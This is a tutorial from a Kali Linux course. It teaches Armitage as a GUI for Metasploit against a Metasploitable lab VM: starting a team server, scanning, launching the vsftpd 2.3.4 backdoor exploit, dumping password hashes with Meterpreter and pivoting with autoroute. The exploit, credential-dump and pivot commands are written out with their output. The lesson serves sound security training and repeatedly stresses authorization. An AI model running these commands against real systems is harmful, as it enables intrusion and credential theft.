Kali Linux Course -- Day 28 of 180
16%

Armitage Tutorial 2026 — Metasploit GUI, Team Server Guide | Kali Linux Course Day 28

Armitage Tutorial 2026 — Metasploit GUI, Team Server Guide | Kali Linux Course Day 28
🐉 KALI LINUX MASTERY
FREE

Part of the Kali Linux 180-Day Course

Day 28 of 180 · 15% complete

You already know msfconsole. On Kali Linux Day 10 we fired our first exploit, and on Day 27 we built payloads with msfvenom. So here’s the honest question — why would I hand you a GUI now? Because the day you’re staring at forty hosts and three teammates all working the same network, a wall of console tabs stops being power and starts being chaos. Armitage is the map you draw over Metasploit so you can actually see the fight. Let me show you when it helps and, just as important, when it lies to you.

🎯 What you’ll master in Day 28

Stand up the Metasploit database and an Armitage team server the way a real engagement crew does
Scan an authorised target into the visual graph and read what the icons are actually telling you
Match modules to services with Find Attacks — and understand why it over-promises
Land a Meterpreter session on Metasploitable and drive post-exploitation from the GUI
Pivot through your first host into a second subnet, visually

⏱ ~30 min read · 3 hands-on exercises · Kali + Metasploitable lab

Before you start you’ll want: Kali up to date, the Metasploit basics from Day 10, your msfvenom payloads from Day 27 fresh in mind, and a Metasploitable 2 VM running on a host-only network. If that VM isn’t up yet, go build it first — the rest of this won’t work without a target.

Here’s where we are in the course. You’ve spent twenty-seven days building a toolkit one blade at a time — recon, scanning, cracking, and the framework that ties exploitation together. Today isn’t a new weapon. It’s a lens. And I want you thinking critically about it from the first click, because a GUI that makes hacking feel easy is exactly the kind of thing that gets beginners into trouble.


What Armitage actually is (and isn’t)

Let me clear up the biggest misconception before you download anything. Armitage is not a hacking tool in its own right. It doesn’t have a single exploit inside it. Every attack it launches, every session it opens, every payload it delivers — all of that is Metasploit doing the work underneath. Armitage is a graphical console that talks to a running Metasploit instance over a network connection and draws you a picture of what’s happening. Think of it as the cockpit, not the engine.

I’m telling you this on purpose, because you’re going to see people online treat Armitage like a magic button. It isn’t. If you don’t understand what msfconsole is doing — and you do, because you’ve spent two days in it — the GUI will happily hide the one detail that would have told you why an exploit failed. That’s the trade. You get a map and a team view; you give up a little visibility into the plumbing.

So when does the map earn its keep? Two situations, mainly. The first is scale: when you’ve scanned a network and you’re looking at twenty, forty, a hundred hosts, a visual graph where compromised machines light up red is genuinely faster to reason about than scrolling hosts and sessions -l in a terminal. The second is collaboration — and this is the part almost every tutorial skips.

💡 The honest verdict up front: Armitage is no longer actively developed by its original author, Raphael Mudge, but it still ships in Kali and still drives a current Metasploit Framework. You’ll hit the occasional rough edge. None of it changes the workflow you’re about to learn, and the concepts — team server, visual targeting, module matching — carry straight over to its commercial descendant, Cobalt Strike, which you’ll meet much later in your red-team days.


Starting the database and team server

You’re about to see why I made you comfortable with the console first. Armitage needs two things running before it’ll even open: the PostgreSQL database that Metasploit stores everything in, and a team server for Armitage to connect to. Miss either and you’ll get an error that tells you almost nothing. Let’s do it in the right order so you never see that error.

First, the database. Metasploit uses PostgreSQL to remember every host, service, credential and session across your engagement — and Armitage reads that same database to draw the graph. If the database is empty or down, your graph is empty too.

START THE DATABASE
# bring up PostgreSQL and initialise the msf database
sudo systemctl start postgresql
sudo msfdb init
# confirm the connection is live
sudo msfdb status
[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)
[+] Connected to msf. Connection type: postgresql.

See that Connected to msf line? That’s your green light. If instead you get Failed to connect, nine times out of ten PostgreSQL simply isn’t up yet — run the systemctl start line again and give it a couple of seconds. I’ve watched a room full of students panic over that error when the fix was literally “wait two seconds and try again.”

Now the team server. This is the piece that makes Armitage more than a solo toy, and it’s the part I most want you to understand. A team server is a shared Metasploit instance that multiple operators connect to at once. When your teammate lands a shell, you see it. When you loot a credential, they see it. On a real engagement with three people working the same client network, that shared picture is the difference between coordination and three people accidentally re-exploiting the same box.

LAUNCH THE TEAM SERVER
# find your Kali IP on the lab network first
ip -4 addr show eth0 | grep inet
inet 192.168.56.101/24 …
# start the team server on that IP with a shared password
sudo teamserver 192.168.56.101 ElitePass2026
[*] Generating X509 certificate and keystore (for SSL)
[*] Starting RPC daemon on 192.168.56.101:55553
[*] Use the following connection details to connect your clients:
Host: 192.168.56.101 Port: 55553 User: msf Pass: ElitePass2026

⚠️ Predict the mistake: you’re about to type your real Kali IP, not 192.168.56.101 — that’s mine. Use the address from your ip addr output. And do not bind the team server to 0.0.0.0 or a public interface “to make it easier.” That opens an authenticated remote-control server for your entire Metasploit instance to the network. On a lab, bind to your host-only adapter. Ever.

securityelites.com
Terminal — teamserver running (leave this window open)
[*] Starting RPC daemon on 192.168.56.101:55553
[*] Sleeping 20 seconds to let the RPC server start…
# this terminal is now the server. it stays open.
# open a NEW terminal to launch the Armitage client.
📸 The team server takes over this terminal and holds it. That’s expected — it’s a running service now. The rookie move is to Ctrl-C it because “nothing’s happening.” Leave it. Open a second terminal for the client.


Connecting Armitage and reading the interface

New terminal open? Good. Now you launch the Armitage client and point it back at the team server you just started. Because the server is on your own machine, the host is the same IP you bound to, the port is 55553, and the credentials are the ones you set.

LAUNCH THE ARMITAGE CLIENT
armitage
# a connect dialog opens. fill it in:
# Host: 192.168.56.101 Port: 55553
# User: msf Pass: ElitePass2026
[*] Connecting to 192.168.56.101:55553 …
progress …………………. connected.

The first time you connect, Armitage may ask whether to start Metasploit’s RPC server — say yes, and give it a minute. I’ve seen people click through three “still connecting” dialogs and assume it froze. It didn’t. It’s slow on first launch. Patience here saves you a restart.

When it opens, you’re looking at three regions, and understanding them is 80% of using Armitage well. Top-left is the module browser — the entire Metasploit tree (exploits, payloads, auxiliary, post) in a searchable list. The big area top-right is the target graph, empty right now because we haven’t scanned anything. And the bottom is the console and tabs — and here’s the reassuring part: that bottom console is a real msfconsole. Anything the GUI can’t do, you type down there. The training wheels never actually come off; they just sit next to the real thing.

securityelites.com

Armitage Tutorial 2026 showing the Modules panel, Target Graph and Metasploit console

Armitage interface overview: Modules on the left, Target Graph in the upper-right,
and the real Metasploit console along the bottom. When the GUI hides something,
the console is your escape hatch.

Scanning your target into the graph

An empty graph can’t attack anything, so first we tell Armitage what’s out there. You’ve got two ways in. You can add a host you already know about by hand, or you can let Armitage drive an Nmap scan — the same Nmap you learned on Day 1 — and populate the graph from the results. We’ll do both, because knowing your target’s IP already is the common case in a lab.

Go to Hosts → Add Hosts and drop in your Metasploitable IP. A single computer icon appears in the graph. It’s there, but Armitage knows nothing about it yet — no open ports, no services, no operating system. An icon with no intelligence behind it is useless, so now we scan.

SCAN FROM THE ARMITAGE CONSOLE
# you can point-and-click Hosts > Nmap Scan > Quick Scan (OS detect),
# or just type it in the bottom console. same result, more control:
db_nmap -sV -O 192.168.56.102
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X
[*] Nmap: 445/tcp open microsoft-ds Samba smbd 3.X
[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a
[*] Nmap: Service Info: OS: Unix

Watch the graph as that runs. The bare computer icon grows a label — the OS, the open services — and now it’s a target with a story. Every one of those open ports is a door, and you already know what several of them mean. That vsftpd 2.3.4 on port 21 should be making the back of your neck tingle; it’s one of the most famous backdoored packages in security history. Hold that thought — it’s the door we’re going through.

💡 The shortcut I actually use: in a lab I skip Add Hosts entirely and go straight to db_nmap from the console. It adds the host and the service intel in one move. The point-and-click Hosts → Nmap Scan menu does the identical thing — use whichever your brain likes, but know they’re the same engine underneath.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Before you launch a single attack, reason like an operator. Look at the five open services above — ftp, ssh, samba, mysql — and answer these on paper:

  1. Which one service would you attack first, and why? What are you optimising for — reliability, stealth, or speed?
  2. The Hail Mary button would fire exploits at all five at once. Name two concrete things that could go wrong if you did that on a client’s production server.
  3. You see MySQL on 3306. Is that an exploitation target, or is it more valuable after you already have a shell? Explain the difference.
Answer reveal: (1) The vsftpd 2.3.4 backdoor is the highest-reliability, lowest-effort win — a known, deterministic command execution path, so you optimise for reliability. (2) Firing everything at once is loud (every IDS in the building lights up) and several exploits are memory-corruption attacks that can crash the service or the whole host — on production that’s a self-inflicted denial of service and a very awkward client call. (3) MySQL is usually a post-exploitation prize, not a front door: once you have a shell you loot its credentials and data, but blindly brute-forcing 3306 first is slow and noisy compared to the free win sitting on port 21.
📸 Post your “attack first” reasoning in #day-28-armitage on Discord — the why matters more than the answer.


Find Attacks — and why it over-promises

Now the feature everyone comes to Armitage for. Right-click the host, or use the Attacks → Find Attacks menu, and Armitage cross-references the services it discovered against Metasploit’s exploit database. When it finishes, right-clicking the host shows a new Attack menu, organised by service, listing every module that might apply.

And here’s where I have to be straight with you, because this is exactly where beginners get burned. That word — might — is doing enormous work. Find Attacks matches on service banners, not on whether an exploit will actually land. It’s optimistic. It will cheerfully offer you fifteen “attacks” against a host where only two truly work. If you treat that menu as a list of guaranteed wins, you’ll spend an afternoon firing duds and wondering why nothing pops.

So use it the way it should be used: as a shortlist to investigate, not a to-do list to execute top to bottom. You still bring the judgement. For Metasploitable, we already did that judgement in Exercise 1 — we’re going through the vsftpd backdoor.

LAUNCH THE MATCHED EXPLOIT
# in the Attack menu: ftp > vsftpd_234_backdoor > Launch
# armitage fills this in and runs it for you. the console shows:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.102
exploit
[*] 192.168.56.102:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 – USER: 331 Please specify the password.
[+] 192.168.56.102:21 – Backdoor service has been spawned, handling…
[+] 192.168.56.102:6200 – Command shell session 1 opened

Look at the graph. The host icon just turned red and grew electric arcs around it — Armitage’s way of saying “owned.” That visual is the entire selling point in one image: across a hundred hosts, the red ones are yours at a glance. And the console confirms it: Command shell session 1 opened. You have code execution on the target.

⚠️ What a failure looks like — because you’ll see it: if the graph icon doesn’t turn red and the console prints Exploit completed, but no session was created, the exploit ran and missed. Usual culprits: wrong RHOST, a service that was already exploited and is in a weird state, or a module that never really fit (that Find Attacks optimism again). Don’t re-click frantically. Read the console line, fix the one variable, fire once more.

⚡ EXERCISE 2 — KALI TERMINAL (15 MIN)

Land your own session, then prove you understand it isn’t magic by reproducing it in the console:

  1. With your Metasploitable scanned into the graph, right-click it, open Attack → ftp → vsftpd_234_backdoor, and Launch. Confirm the icon turns red.
  2. Now do it the console way. In the bottom pane, type the three lines yourself: use exploit/unix/ftp/vsftpd_234_backdoor, set RHOSTS <your-target>, exploit.
  3. In your new shell, run id and whoami. Screenshot the output.
What you just learned: the GUI and the console produced the identical session because they are the same engine. You didn’t lose any capability by using Armitage — and you didn’t gain any magic. That equivalence is the whole mental model.
📸 Drop your id output (root on Metasploitable!) in #day-28-armitage.


Working the Meterpreter session

A raw command shell is fine, but the real power shows when you upgrade to Meterpreter — Metasploit’s advanced in-memory payload with file transfer, screenshots, pivoting and dozens of post modules built in. From Armitage, once you have any session, right-click the owned host and you get a session menu: Interact for a shell tab, Meterpreter for the rich menu, Escalate, Loot, and more.

Right-click your red host and choose Meterpreter → Interact → Meterpreter Shell. A new tab opens along the bottom, and now the whole post-exploitation menu is point-and-click: dump hashes, browse files, take a screenshot. But — and you knew this was coming — I want you to run at least one of these from the tab by hand, so the menu never becomes a thing you click without understanding.

POST-EXPLOITATION IN THE METERPRETER TAB
# who am i and where am i
getuid
Server username: root
# grab the local password hashes (Armitage’s Loot menu runs this for you)
hashdump
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:…
# these land in the shared loot store — teammates see them too

Those hashes just landed in the team server’s loot database. If a teammate were connected, they’d see them appear under View → Loot without you sending anything. That’s the collaboration payoff made concrete — and it’s a natural handoff to your cracking days, because those hashes are exactly what you’d feed to Hashcat from Day 19.


Pivoting to a second subnet

Here’s the part everyone skips, and it’s the most valuable thing Armitage teaches visually. Real networks are segmented. You land on one host that can reach a subnet you can’t touch directly from Kali — and that first host becomes your bridge. This is pivoting, and doing it in a GUI where you can literally see the second network appear is the clearest way to understand it the first time.

With your Meterpreter session on Metasploitable, right-click the host and choose Pivoting → Setup. Armitage shows the networks your compromised host can see and lets you add a route through it. Under the hood it’s running the same autoroute you’d type in the console — the GUI just draws you the picture.

WHAT PIVOTING DOES UNDER THE HOOD
# Armitage’s Pivoting > Setup runs the equivalent of:
run autoroute -s 10.10.20.0/24
[*] Adding a route to 10.10.20.0/255.255.255.0…
[+] Added route to 10.10.20.0/255.255.255.0 via 192.168.56.102
# now scan the NEW subnet THROUGH your pivot host
db_nmap -sT 10.10.20.5-10
[*] traffic now flows: Kali -> Metasploitable -> 10.10.20.0/24

After that, any new hosts you discover on 10.10.20.0/24 appear in the same graph, connected visually through your pivot. You’re now attacking machines Kali could never reach on its own, and you can see the chain. The first time that second cluster of icons pops onto the graph behind your red host, the whole concept of “moving through a network” stops being an abstraction. That’s the moment Armitage earns its place in your toolkit.

⚡ EXERCISE 3 — KALI TERMINAL (15 MIN)

Prove pivoting to yourself — even with a single extra lab host it clicks:

  1. With your Meterpreter session live, open Pivoting → Setup and add a route to a second host-only subnet your Metasploitable VM can reach.
  2. From the console, run db_nmap -sT against an address in that subnet. Note that the scan traffic is now flowing through your compromised host.
  3. Answer in your notes: why can Kali suddenly reach a network it couldn’t ping five minutes ago? Where, exactly, is the traffic going?
What you just learned: a pivot isn’t a new exploit — it’s routing. Your foothold becomes a relay, and Metasploit tunnels your tools through it. Understand that and lateral movement stops being intimidating; it’s just plumbing you control.
📸 Screenshot your two-tier graph (pivot host + second subnet) for #day-28-armitage.


The Hail Mary trap

I’ve saved the feature you’ll be most tempted by for last, so I can tell you plainly: don’t. Attacks → Hail Mary throws every exploit that could conceivably match at every host in your graph, all at once, and hopes something sticks. In a controlled lab against Metasploitable, it’s a fun fireworks show. On anything real, it’s a career-limiting move.

Two reasons. First, it’s deafeningly loud — you’re firing hundreds of exploits in seconds, and every intrusion-detection system in the environment will scream. A real engagement is often as much about staying quiet as getting in. Second, and worse, a lot of those exploits are memory-corruption attacks that crash the service or the whole host when they miss. Hail Mary against a client’s production database server can take it offline, and now you’re not writing a findings report, you’re writing an incident apology.

⚠️ Name the shortcut — and the trap: professionals target deliberately. You pick the host, pick the service, pick the one exploit your recon justified, and you fire it once. Hail Mary is the opposite of that discipline. It’s fine as a lab curiosity so you understand what your teammates should never do — but the day you reach for it on a live network is the day you stop being a professional.

🧠 Quick check: your host icon stays grey after you launch an exploit and the console reads “Exploit completed, but no session was created.” What’s the first thing you check?




📋 Commands used today — Day 28 reference card

sudo msfdb initInitialise the PostgreSQL database Armitage reads from
sudo teamserver <IP> <pass>Start the shared collaboration server on your lab IP
armitageLaunch the GUI client and connect to the team server
db_nmap -sV -O <target>Scan a host into the graph with service + OS detection
hashdumpLoot local password hashes into the shared store
run autoroute -s <subnet>The pivot Armitage sets up for you visually

✅ Mark Day 28 complete

You can now drive Metasploit visually, collaborate through a team server, and pivot — without ever forgetting there’s a real console underneath.

Tomorrow — Day 29: Responder, and poisoning the protocols Windows trusts too much.

❓ Frequently asked questions

Is Armitage still maintained in 2026?
Not by its original author — active development stopped years ago. But it still ships in Kali and drives a current Metasploit Framework, and the community keeps it running. You’ll meet the occasional rough edge, but the workflow in this lesson is unchanged, and every concept carries into its commercial descendant, Cobalt Strike.
What is the Armitage team server actually for?
It’s a shared Metasploit instance multiple operators connect to at once. Everyone sees the same hosts, sessions and loot in real time. On a solo lab it feels like overhead; on a three-person engagement it’s the difference between coordinated work and three people re-exploiting the same box.
Why can’t Armitage find any attacks?
Almost always because you haven’t scanned anything yet, or the database is empty. Run db_nmap (or Hosts → Nmap Scan) first so Armitage knows what services are open before you ask it to match exploits against them.
Should I ever use Hail Mary on a real engagement?
No. It’s loud enough to trip every IDS in the building and many of the exploits it fires can crash the target when they miss. It’s a lab-only curiosity. Professionals target one host, one service, one justified exploit at a time.
Armitage or msfconsole — which should I actually learn?
The console first, which you already did. Armitage is a visual layer on top of it. The GUI helps you see a network and collaborate; the console is what you drop to when the GUI hides a detail. Learn both, lean on the console when it matters.
Is it legal to use Armitage?
The tool is legal. Pointing it at systems you don’t own or have written permission to test is not — it’s a computer-misuse offence in most countries. Every exercise here targets your own Metasploitable VM on an isolated network. Keep it that way.
← Previous
Day 27: Msfvenom — Building Custom Payloads
Next →
Day 29: Responder — Poisoning LLMNR & NBT-NS

📚 Further reading

Mr Elite
The first time I ran a team server on a real engagement, a teammate three floors away popped a domain controller and I watched it turn red on my graph before he’d even finished typing his message to tell me. That single red icon taught me more about why shared tooling matters than any manual ever did. But I learned the harder lesson earlier: I once let a junior loose with Hail Mary in a lab that shared a switch with something it shouldn’t have, and we spent an evening explaining a crashed service. Visual tools make you fast — they don’t make you careful. That part’s still on you.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *